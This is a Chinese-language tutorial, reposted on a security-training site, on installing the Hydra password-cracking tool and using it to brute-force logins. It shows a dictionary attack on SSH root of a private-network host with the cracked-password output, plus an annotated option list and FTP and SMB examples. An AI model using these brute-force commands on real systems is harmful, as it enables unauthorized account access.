黑基网 首页 学院 编程开发 查看内容

Hydra安装与使用

2009-11-18 10:05| 投稿: soft

摘要: Author : EcoreDate : 2008/06/15Website: http://www.ishacker.org http://www.80sec.org 1.先安装libssh.[...
Author : EcoreDate : 2008/06/15Website: http://www.ishacker.org http://www.80sec.org 1.先安装libssh.[[email protected] ~]# tar -zxvf libssh-0.11.gz[[email protected] ~]# cd libssh-0.11[[email protected] ~]# ./configure[[email protected] ~]# make[[email protected] ~]# make install 2.到www.thc.org下载最新版hydra并安装 [[email protected] ~]# tar -zxvf hydra-5.4-src.tar.gz[[email protected] ~]# cd hydra-5.4-src[[email protected] ~]# ./configure[[email protected] ~]# make[[email protected] ~]# make install[[email protected] ~]# ln -s /usr/local/include/libssh /usr/include/libssh[[email protected] ~]# ln -s /usr/local/lib/libssh.so /lib/libssh.so 3.使用hydra破解ssh登录密码[[email protected] ~]# hydra -l root -P ~/passwd.dic 192.168.1.112 ssh2 //使用-o file参数,可以记录日志Hydra v5.4 (c) 2006 by van Hauser / THC – use allowed only for legal purposes.Hydra (http://www.thc.org) starting at 2008-06-15 23:56:43[DATA] 16 tasks, 1 servers, 106 login tries (l:1/p:106), ~6 tries per task[DATA] attacking service ssh2 on port 22[22][ssh2] host: 192.168.1.112 login: root password: xxxxxxxx[STATUS] attack finished for 192.168.1.112 (waiting for childs to finish)Hydra (http://www.thc.org) finished at 2008-06-15 23:57:15[[email protected] ~]# ===================================================================================================[[email protected] ~]# hydraHydra v5.4 [http://www.thc.org] (c) 2006 by van Hauser / THC 语法: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]server service [OPT] 参数列表: -R 恢复上次停止的破解进度,继续破解-S 使用SSL连接-s PORT if the service is on a different default port, define it here-s 端口号 在这里自定义要破解的端口号(替代默认端口)-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE-l 登录名 或者 -L 字典 使用登录名 或者 从字典中获取登录名单-p PASS or -P FILE try password PASS, or load several passwords from FILE-p 密码 或者 -P 字典 使用单个密码 或者 从字典中获取密码列表-e ns 附加选项,n 是表示空密码,s 尝试使用密码进行破解-C FILE colon seperated “login:pass” format, instead of -L/-P options-C 文件 使用冒号分割格式 例如 “登录名:密码”来代替-L/-P参数-M FILE server list for parallel attacks, one entry per line-M 文件 服务器列表(译者:ip列表),一行一条-o FILE write found login/password pairs to FILE instead of stdout-o 文件 将找到的密码写在文件里面 以此代替输出到屏幕上-f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解-t TASKS run TASKS number of connects in parallel (default: 16)-t 计划任务 同时运行几个任务(默认是: 16)-w TIME defines the max wait time in seconds for responses (default: 30)-w 时间 定义超时时间秒数(默认是: 30)-v / -V 详细显示用户名或者密码的破解过程server the target server (use either this OR the -M option)服务器 服务器目标(译者:就是你要破解密码的主机) (你也可以使用-M参数指定)service the service to crack. Supported protocols:[telnet ftp pop3 imap smb smbnt http httpshttp-proxy cisco cisco-enable ldapmssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth]OPT some service modules need special input (see README!)OPT 一些服务模块需要特别的语法输入(详细请看5.特别参数模块) 两个例子:hydra -l login -P /tmp/passlist 192.168.0.1 ftplogin为要破解的用户名,passlist为密码字典库 hydra -l login -P passfile 192.168.0.1 smblogin为要破解的登录名,passfile为密码字典库,smb操作系统登录密码破解
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部